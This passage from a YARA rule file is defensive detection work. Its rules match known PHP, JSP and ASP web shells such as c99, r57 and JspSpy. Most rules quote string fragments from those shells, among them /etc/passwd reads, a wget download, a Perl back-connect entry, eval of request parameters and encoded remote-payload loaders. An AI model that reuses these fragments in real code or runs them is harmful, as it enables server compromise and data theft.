		hash1 = "27786d1e0b1046a1a7f67ee41c64bf4c"
		hash2 = "68c0629d08b1664f5bcce7d7f5f71d22"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "if ($data{0} == \"\\x99\" and $data{1} == \"\\x01\") {return \"Error: \".$stri"
		$s3 = "<OPTION VALUE=\"find /etc/ -type f -perm -o+w 2> /dev/null\""
		$s4 = "<OPTION VALUE=\"cat /proc/version /proc/cpuinfo\">CPUINFO" fullword
		$s7 = "<OPTION VALUE=\"wget http://ftp.powernet.com.tr/supermail/de"
		$s9 = "<OPTION VALUE=\"cut -d: -f1,2,3 /etc/passwd | grep ::\">USER"

	condition:
		2 of them
}

rule webshell_NIX_REMOTE_WEB_SHELL_NIX_REMOTE_WEB_xxx1
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "0b19e9de790cd2f4325f8c24b22af540"
		hash1 = "f3ca29b7999643507081caab926e2e74"
		hash2 = "527cf81f9272919bf872007e21c4bdda"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "<td><input size=\"48\" value=\"$docr/\" name=\"path\" type=\"text\"><input type="
		$s2 = "$uploadfile = $_POST['path'].$_FILES['file']['name'];" fullword
		$s6 = "elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}" fullword
		$s7 = "if ($_POST['path']==\"\"){$uploadfile = $_FILES['file']['name'];}" fullword

	condition:
		2 of them
}

rule webshell_c99_c99shell_c99_w4cking_Shell_xxx
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
		hash1 = "d3f38a6dc54a73d304932d9227a739ec"
		hash2 = "9c34adbc8fd8d908cbb341734830f971"
		hash3 = "f2fa878de03732fbf5c86d656467ff50"
		hash4 = "b8f261a3cdf23398d573aaf55eaf63b5"
		hash5 = "27786d1e0b1046a1a7f67ee41c64bf4c"
		hash6 = "0f5b9238d281bc6ac13406bb24ac2a5b"
		hash7 = "68c0629d08b1664f5bcce7d7f5f71d22"
		hash8 = "157b4ac3c7ba3a36e546e81e9279eab5"
		hash9 = "048ccc01b873b40d57ce25a4c56ea717"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s0 = "echo \"<b>HEXDUMP:</b><nobr>"
		$s4 = "if ($filestealth) {$stat = stat($d.$f);}" fullword
		$s5 = "while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo \"<tr><td>\".$r"
		$s6 = "if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo \"DB "
		$s8 = "echo \"<center><b>Server-status variables:</b><br><br>\";" fullword
		$s9 = "echo \"<textarea cols=80 rows=10>\".htmlspecialchars($encoded).\"</textarea>"

	condition:
		2 of them
}

rule webshell_2008_2009mssql_phpspy_2005_full_phpspy_2006_arabicspy_hkrkoz
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "3e4ba470d4c38765e4b16ed930facf2c"
		hash1 = "aa17b71bb93c6789911bd1c9df834ff9"
		hash2 = "b68bfafc6059fd26732fa07fb6f7f640"
		hash3 = "40a1f840111996ff7200d18968e42cfe"
		hash4 = "e0202adff532b28ef1ba206cf95962f2"
		hash5 = "802f5cae46d394b297482fd0c27cb2fc"
		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"

	strings:
		$s0 = "$this -> addFile($content, $filename);" fullword
		$s3 = "function addFile($data, $name, $time = 0) {" fullword
		$s8 = "function unix2DosTime($unixtime = 0) {" fullword
		$s9 = "foreach($filelist as $filename){" fullword

	condition:
		all of them
}

rule webshell_c99_c66_c99_shadows_mod_c99shell
{
	meta:
		description = "Web Shell - from files c99.php, c66.php, c99-shadows-mod.php, c99shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
		hash1 = "0f5b9238d281bc6ac13406bb24ac2a5b"
		hash2 = "68c0629d08b1664f5bcce7d7f5f71d22"
		hash3 = "048ccc01b873b40d57ce25a4c56ea717"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s2 = "  if (unlink(_FILE_)) {@ob_clean(); echo \"Thanks for using c99shell v.\".$shv"
		$s3 = "  \"c99sh_backconn.pl\"=>array(\"Using PERL\",\"perl %path %host %port\")," fullword
		$s4 = "<br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#66"
		$s7 = "   elseif (!$data = c99getsource($bind[\"src\"])) {echo \"Can't download sources"
		$s8 = "  \"c99sh_datapipe.pl\"=>array(\"Using PERL\",\"perl %path %localport %remotehos"
		$s9 = "   elseif (!$data = c99getsource($bc[\"src\"])) {echo \"Can't download sources!"

	condition:
		2 of them
}

rule webshell_he1p_JspSpy_nogfw_ok_style_1_JspSpy1
{
	meta:
		description = "Web Shell - from files he1p.jsp, JspSpy.jsp, nogfw.jsp, ok.jsp, style.jsp, 1.jsp, JspSpy.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "b330a6c2d49124ef0729539761d6ef0b"
		hash1 = "d71716df5042880ef84427acee8b121e"
		hash2 = "344f9073576a066142b2023629539ebd"
		hash3 = "32dea47d9c13f9000c4c807561341bee"
		hash4 = "b9744f6876919c46a29ea05b1d95b1c3"
		hash5 = "3ea688e3439a1f56b16694667938316d"
		hash6 = "2434a7a07cb47ce25b41d30bc291cacc"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "\"\"+f.canRead()+\" / \"+f.canWrite()+\" / \"+f.canExecute()+\"</td>\"+" fullword
		$s4 = "out.println(\"<h2>File Manager - Current disk &quot;\"+(cr.indexOf(\"/\") == 0?"
		$s7 = "String execute = f.canExecute() ? \"checked=\\\"checked\\\"\" : \"\";" fullword
		$s8 = "\"<td nowrap>\"+f.canRead()+\" / \"+f.canWrite()+\" / \"+f.canExecute()+\"</td>"

	condition:
		2 of them
}

rule webshell_000_403_c5_config_myxx_queryDong_spyjsp2010_zend
{
	meta:
		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, config.jsp, myxx.jsp, queryDong.jsp, spyjsp2010.jsp, zend.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
		hash2 = "8b457934da3821ba58b06a113e0d53d9"
		hash3 = "d44df8b1543b837e57cc8f25a0a68d92"
		hash4 = "e0354099bee243702eb11df8d0e046df"
		hash5 = "90a5ba0c94199269ba33a58bc6a4ad99"
		hash6 = "655722eaa6c646437c8ae93daac46ae0"
		hash7 = "591ca89a25f06cf01e4345f98a22845c"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "return new Double(format.format(value)).doubleValue();" fullword
		$s5 = "File tempF = new File(savePath);" fullword
		$s9 = "if (tempF.isDirectory()) {" fullword

	condition:
		2 of them
}

rule webshell_c99_c99shell_c99_c99shell
{
	meta:
		description = "Web Shell - from files c99.php, c99shell.php, c99.php, c99shell.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
		hash1 = "d3f38a6dc54a73d304932d9227a739ec"
		hash2 = "157b4ac3c7ba3a36e546e81e9279eab5"
		hash3 = "048ccc01b873b40d57ce25a4c56ea717"
		id = "ce88027c-ae08-59f3-948d-6f3d58515468"

	strings:
		$s2 = "$bindport_pass = \"c99\";" fullword
		$s5 = " else {echo \"<b>Execution PHP-code</b>\"; if (empty($eval_txt)) {$eval_txt = tr"

	condition:
		1 of them
}

rule webshell_r57shell127_r57_iFX_r57_kartal_r57_antichat
{
	meta:
		description = "Web Shell - from files r57shell127.php, r57_iFX.php, r57_kartal.php, r57.php, antichat.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "ae025c886fbe7f9ed159f49593674832"
		hash1 = "513b7be8bd0595c377283a7c87b44b2e"
		hash2 = "1d912c55b96e2efe8ca873d6040e3b30"
		hash3 = "4108f28a9792b50d95f95b9e5314fa1e"
		hash4 = "3f71175985848ee46cc13282fbed2269"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s6 = "$res   = @mysql_query(\"SHOW CREATE TABLE `\".$_POST['mysql_tbl'].\"`\", $d"
		$s7 = "$sql1 .= $row[1].\"\\r\\n\\r\\n\";" fullword
		$s8 = "if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }" fullword
		$s9 = "foreach($values as $k=>$v) {$values[$k] = addslashes($v);}" fullword

	condition:
		2 of them
}

rule webshell_NIX_REMOTE_WEB_SHELL_nstview_xxx
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "0b19e9de790cd2f4325f8c24b22af540"
		hash1 = "4745d510fed4378e4b1730f56f25e569"
		hash2 = "f3ca29b7999643507081caab926e2e74"
		hash3 = "46a18979750fa458a04343cf58faa9bd"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "BODY, TD, TR {" fullword
		$s5 = "$d=str_replace(\"\\\\\",\"/\",$d);" fullword
		$s6 = "if ($file==\".\" || $file==\"..\") continue;" fullword

	condition:
		2 of them
}

rule webshell_000_403_807_a_c5_config_css_dm_he1p_xxx
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
		hash4 = "8b457934da3821ba58b06a113e0d53d9"
		hash5 = "d44df8b1543b837e57cc8f25a0a68d92"
		hash6 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
		hash7 = "14e9688c86b454ed48171a9d4f48ace8"
		hash8 = "b330a6c2d49124ef0729539761d6ef0b"
		hash9 = "d71716df5042880ef84427acee8b121e"
		hash10 = "341298482cf90febebb8616426080d1d"
		hash11 = "29aebe333d6332f0ebc2258def94d57e"
		hash12 = "42654af68e5d4ea217e6ece5389eb302"
		hash13 = "88fc87e7c58249a398efd5ceae636073"
		hash14 = "4a812678308475c64132a9b56254edbc"
		hash15 = "9626eef1a8b9b8d773a3b2af09306a10"
		hash16 = "e0354099bee243702eb11df8d0e046df"
		hash17 = "344f9073576a066142b2023629539ebd"
		hash18 = "32dea47d9c13f9000c4c807561341bee"
		hash19 = "90a5ba0c94199269ba33a58bc6a4ad99"
		hash20 = "655722eaa6c646437c8ae93daac46ae0"
		hash21 = "b9744f6876919c46a29ea05b1d95b1c3"
		hash22 = "6acc82544be056580c3a1caaa4999956"
		hash23 = "6aa32a6392840e161a018f3907a86968"
		hash24 = "591ca89a25f06cf01e4345f98a22845c"
		hash25 = "349ec229e3f8eda0f9eb918c74a8bf4c"
		hash26 = "3ea688e3439a1f56b16694667938316d"
		hash27 = "ab77e4d1006259d7cbc15884416ca88c"
		hash28 = "71097537a91fac6b01f46f66ee2d7749"
		hash29 = "2434a7a07cb47ce25b41d30bc291cacc"
		hash30 = "7a4b090619ecce6f7bd838fe5c58554b"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s3 = "String savePath = request.getParameter(\"savepath\");" fullword
		$s4 = "URL downUrl = new URL(downFileUrl);" fullword
		$s5 = "if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))" fullword
		$s6 = "String downFileUrl = request.getParameter(\"url\");" fullword
		$s7 = "FileInputStream fInput = new FileInputStream(f);" fullword
		$s8 = "URLConnection conn = downUrl.openConnection();" fullword
		$s9 = "sis = request.getInputStream();" fullword

	condition:
		4 of them
}

rule webshell_2_520_icesword_job_ma1
{
	meta:
		description = "Web Shell - from files 2.jsp, 520.jsp, icesword.jsp, job.jsp, ma1.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "64a3bf9142b045b9062b204db39d4d57"
		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
		hash2 = "077f4b1b6d705d223b6d644a4f3eebae"
		hash3 = "56c005690da2558690c4aa305a31ad37"
		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\"></head>" fullword
		$s3 = "<input type=\"hidden\" name=\"_EVENTTARGET\" value=\"\" />" fullword
		$s8 = "<input type=\"hidden\" name=\"_EVENTARGUMENT\" value=\"\" />" fullword

	condition:
		2 of them
}

rule webshell_404_data_in_JFolder_jfolder01_jsp_suiyue_warn
{
	meta:
		description = "Web Shell - from files 404.jsp, data.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, suiyue.jsp, warn.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "7066f4469c3ec20f4890535b5f299122"
		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
		hash2 = "793b3d0a740dbf355df3e6f68b8217a4"
		hash3 = "8979594423b68489024447474d113894"
		hash4 = "ec482fc969d182e5440521c913bab9bd"
		hash5 = "f98d2b33cd777e160d1489afed96de39"
		hash6 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
		hash7 = "e9a5280f77537e23da2545306f6a19ad"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<table width=\"100%\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" bordercol"
		$s2 = " KB </td>" fullword
		$s3 = "<table width=\"98%\" border=\"0\" cellspacing=\"0\" cellpadding=\""
		$s4 = "<!-- <tr align=\"center\"> " fullword

	condition:
		all of them
}

rule webshell_phpspy_2005_full_phpspy_2005_lite_phpspy_2006_PHPSPY
{
	meta:
		description = "Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, phpspy_2006.php, PHPSPY.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "b68bfafc6059fd26732fa07fb6f7f640"
		hash1 = "42f211cec8032eb0881e87ebdb3d7224"
		hash2 = "40a1f840111996ff7200d18968e42cfe"
		hash3 = "0712e3dc262b4e1f98ed25760b206836"
		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"

	strings:
		$s4 = "http://www.4ngel.net" fullword
		$s5 = "</a> | <a href=\"?action=phpenv\">PHP" fullword
		$s8 = "echo $msg=@fwrite($fp,$_POST['filecontent']) ? \"" fullword
		$s9 = "Codz by Angel" fullword

	condition:
		2 of them
}

rule webshell_c99_locus7s_c99_w4cking_xxx
{
	meta:
		description = "Web Shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "38fd7e45f9c11a37463c3ded1c76af4c"
		hash1 = "9c34adbc8fd8d908cbb341734830f971"
		hash2 = "ef43fef943e9df90ddb6257950b3538f"
		hash3 = "ae025c886fbe7f9ed159f49593674832"
		hash4 = "911195a9b7c010f61b66439d9048f400"
		hash5 = "697dae78c040150daff7db751fc0c03c"
		hash6 = "513b7be8bd0595c377283a7c87b44b2e"
		hash7 = "1d912c55b96e2efe8ca873d6040e3b30"
		hash8 = "e5b2131dd1db0dbdb43b53c5ce99016a"
		hash9 = "4108f28a9792b50d95f95b9e5314fa1e"
		hash10 = "b8f261a3cdf23398d573aaf55eaf63b5"
		hash11 = "0d2c2c151ed839e6bafc7aa9c69be715"
		hash12 = "41af6fd253648885c7ad2ed524e0692d"
		hash13 = "6fcc283470465eed4870bcc3e2d7f14d"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "$res = @shell_exec($cfe);" fullword
		$s8 = "$res = @ob_get_contents();" fullword
		$s9 = "@exec($cfe,$res);" fullword

	condition:
		2 of them
}

rule webshell_browser_201_3_ma_ma2_download
{
	meta:
		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, ma.jsp, ma2.jsp, download.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
		hash3 = "4cc68fa572e88b669bce606c7ace0ae9"
		hash4 = "4b45715fa3fa5473640e17f49ef5513d"
		hash5 = "fa87bbd7201021c1aefee6fcc5b8e25a"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "private static final int EDITFIELD_ROWS = 30;" fullword
		$s2 = "private static String tempdir = \".\";" fullword
		$s6 = "<input type=\"hidden\" name=\"dir\" value=\"<%=request.getAttribute(\"dir\")%>\""

	condition:
		2 of them
}

rule webshell_000_403_c5_queryDong_spyjsp2010
{
	meta:
		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, queryDong.jsp, spyjsp2010.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
		hash2 = "8b457934da3821ba58b06a113e0d53d9"
		hash3 = "90a5ba0c94199269ba33a58bc6a4ad99"
		hash4 = "655722eaa6c646437c8ae93daac46ae0"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "\" <select name='encode' class='input'><option value=''>ANSI</option><option val"
		$s7 = "JSession.setAttribute(\"MSG\",\"<span style='color:red'>Upload File Failed!</spa"
		$s8 = "File f = new File(JSession.getAttribute(CURRENT_DIR)+\"/\"+fileBean.getFileName("
		$s9 = "((Invoker)ins.get(\"vd\")).invoke(request,response,JSession);" fullword

	condition:
		2 of them
}

rule webshell_r57shell127_r57_kartal_r57
{
	meta:
		description = "Web Shell - from files r57shell127.php, r57_kartal.php, r57.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/01/28"
		score = 70
		super_rule = 1
		hash0 = "ae025c886fbe7f9ed159f49593674832"
		hash1 = "1d912c55b96e2efe8ca873d6040e3b30"
		hash2 = "4108f28a9792b50d95f95b9e5314fa1e"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s2 = "$handle = @opendir($dir) or die(\"Can't open directory $dir\");" fullword
		$s3 = "if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }" fullword
		$s5 = "if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_"

	condition:
		2 of them
}

rule webshell_webshells_new_con2
{
	meta:
		description = "Web shells - generated from file con2.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "d3584159ab299d546bd77c9654932ae3"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s7 = ",htaPrewoP(ecalper=htaPrewoP:fI dnE:0=KOtidE:1 - eulaVtni = eulaVtni:nehT 1 => e"
		$s10 = "j \"<Form action='\"&URL&\"?Action2=Post' method='post' name='EditForm'><input n"

	condition:
		1 of them
}

rule webshell_webshells_new_make2
{
	meta:
		description = "Web shells - generated from file make2.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		hash = "9af195491101e0816a263c106e4c145e"
		score = 50
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "error_reporting(0);session_start();header(\"Content-type:text/html;charset=utf-8"

	condition:
		all of them
}

rule webshell_webshells_new_aaa
{
	meta:
		description = "Web shells - generated from file aaa.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "68483788ab171a155db5266310c852b2"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "Function fvm(jwv):If jwv=\"\"Then:fvm=jwv:Exit Function:End If:Dim tt,sru:tt=\""
		$s5 = "<option value=\"\"DROP TABLE [jnc];exec mast\"&kvp&\"er..xp_regwrite 'HKEY_LOCAL"
		$s17 = "if qpv=\"\" then qpv=\"x:\\Program Files\\MySQL\\MySQL Server 5.0\\my.ini\"&br&"

	condition:
		1 of them
}

rule webshell_Expdoor_com_ASP
{
	meta:
		description = "Web shells - generated from file Expdoor.com ASP.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "caef01bb8906d909f24d1fa109ea18a7"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "\">www.Expdoor.com</a>" fullword
		$s5 = "    <input name=\"FileName\" type=\"text\" value=\"Asp_ver.Asp\" size=\"20\" max"
		$s10 = "set file=fs.OpenTextFile(server.MapPath(FileName),8,True)  '" fullword
		$s14 = "set fs=server.CreateObject(\"Scripting.FileSystemObject\")   '" fullword
		$s16 = "<TITLE>Expdoor.com ASP" fullword

	condition:
		2 of them
}

rule webshell_webshells_new_php2
{
	meta:
		description = "Web shells - generated from file php2.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "fbf2e76e6f897f6f42b896c855069276"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<?php $s=@$_GET[2];if(md5($s.$s)=="

	condition:
		all of them
}

rule webshell_bypass_iisuser_p
{
	meta:
		description = "Web shells - generated from file bypass-iisuser-p.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "924d294400a64fa888a79316fb3ccd90"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "<%Eval(Request(chr(112))):Set fso=CreateObject"

	condition:
		all of them
}

rule webshell_sig_404super
{
	meta:
		description = "Web shells - generated from file 404super.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "7ed63176226f83d36dce47ce82507b28"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s4 = "$i = pack('c*', 0x70, 0x61, 99, 107);" fullword
		$s6 = "    'h' => $i('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f7631')," fullword
		$s7 = "//http://require.duapp.com/session.php" fullword
		$s8 = "if(!isset($_SESSION['t'])){$_SESSION['t'] = $GLOBALS['f']($GLOBALS['h']);}" fullword
		$s12 = "//define('pass','123456');" fullword
		$s13 = "$GLOBALS['c']($GLOBALS['e'](null, $GLOBALS['s']('%s',$GLOBALS['p']('H*',$_SESSIO"

	condition:
		1 of them
}

rule webshell_webshells_new_JSP
{
	meta:
		description = "Web shells - generated from file JSP.jsp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "495f1a0a4c82f986f4bdf51ae1898ee7"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i"
		$s5 = "bw.write(z2);bw.close();sb.append(\"1\");}else if(Z.equals(\"E\")){EE(z1);sb.app"
		$s11 = "if(Z.equals(\"A\")){String s=new File(application.getRealPath(request.getRequest"

	condition:
		1 of them
}

rule webshell_webshell_123
{
	meta:
		description = "Web shells - generated from file webshell-123.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014-03-28"
		modified = "2023-01-27"
		score = 70
		hash = "2782bb170acaed3829ea9a04f0ac7218"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "// Web Shell!!" fullword
		$s1 = "@preg_replace(\"/.*/e\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6"
		$s3 = "$default_charset = \"UTF-8\";" fullword
		$s4 = "// url:http://www.weigongkai.com/shell/"

	condition:
		2 of them
}

rule webshell_dev_core
{
	meta:
		description = "Web shells - generated from file dev_core.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "55ad9309b006884f660c41e53150fc2e"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s1 = "if (strpos($_SERVER['HTTP_USER_AGENT'], 'EBSD') == false) {" fullword
		$s9 = "setcookie('key', $_POST['pwd'], time() + 3600 * 24 * 30);" fullword
		$s10 = "$_SESSION['code'] = _REQUEST(sprintf(\"%s?%s\",pack(\"H*\",'6874"
		$s11 = "if (preg_match(\"/^HTTP\\/\\d\\.\\d\\s([\\d]+)\\s.*$/\", $status, $matches))"
		$s12 = "eval(gzuncompress(gzuncompress(Crypt::decrypt($_SESSION['code'], $_C"
		$s15 = "if (($fsock = fsockopen($url2['host'], 80, $errno, $errstr, $fsock_timeout))"

	condition:
		1 of them
}

rule webshell_webshells_new_pHp
{
	meta:
		description = "Web shells - generated from file pHp.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "b0e842bdf83396c3ef8c71ff94e64167"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "if(is_readable($path)) antivirus($path.'/',$exs,$matches);" fullword
		$s1 = "'/(eval|assert|include|require|include\\_once|require\\_once|array\\_map|arr"
		$s13 = "'/(exec|shell\\_exec|system|passthru)+\\s*\\(\\s*\\$\\_(\\w+)\\[(.*)\\]\\s*"
		$s14 = "'/(include|require|include\\_once|require\\_once)+\\s*\\(\\s*[\\'|\\\"](\\w+"
		$s19 = "'/\\$\\_(\\w+)(.*)(eval|assert|include|require|include\\_once|require\\_once"

	condition:
		1 of them
}

rule webshell_webshells_new_pppp
{
	meta:
		description = "Web shells - generated from file pppp.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "cf01cb6e09ee594545693c5d327bdd50"
		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"

	strings:
		$s0 = "Mail: chinese@hackermail.com" fullword
		$s3 = "if($_GET[\"hackers\"]==\"2b\"){if ($_SERVER['REQUEST_METHOD'] == 'POST') { echo "
		$s6 = "Site: http://blog.weili.me" fullword

	condition:
		1 of them
}

rule webshell_webshells_new_code
{
	meta:
		description = "Web shells - generated from file code.php"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2014/03/28"
		score = 70
		hash = "a444014c134ff24c0be5a05c02b81a79"
